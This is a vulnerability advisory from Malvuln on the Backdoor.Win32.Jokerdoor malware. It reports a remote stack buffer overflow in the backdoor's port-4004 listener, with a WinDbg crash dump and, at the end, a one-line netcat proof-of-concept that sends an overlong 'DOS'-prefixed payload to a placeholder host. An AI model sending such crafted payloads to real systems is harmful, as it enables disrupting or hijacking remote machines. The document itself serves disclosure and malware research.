Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0fca0250fa3fe8ee7e1cf0cc45a6b2d8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 4004 and drops an randomly named executables E.g. acrorqwjlle.exe etc. Third party attackers who can reach an infected system can send a junk payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS".
Type: PE32
MD5: 0fca0250fa3fe8ee7e1cf0cc45a6b2d8
Vuln ID: MVID-2021-0434
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/31/2021

Memory Dump:
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analzye -v
No export analzye found
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for acrorqwjlle.exe
*** ERROR: Module load completed but symbols could not be loaded for acrorqwjlle.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
+26
41414141 ??              ???

EXCEPTION_RECORD:  0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  acrorqwjlle.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
+26
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04393c0c ecx=7673eb0d edx=00000000 esi=003603d8 edi=025d0d17
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 acrorqwjlle.exe+0x0


STACK_COMMAND:  .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  acrorqwjlle.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: acrorqwjlle

IMAGE_NAME:  acrorqwjlle.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE_c0000005_acrorqwjlle.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_acrorqwjlle.exe

0:000> !exchain
0019ed44: ntdll!ExecuteHandler2+44 (773e9d70)
0019f2e4: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('DOS'+'A'*804)" | nc64.exe MALWARE_HOST 4004


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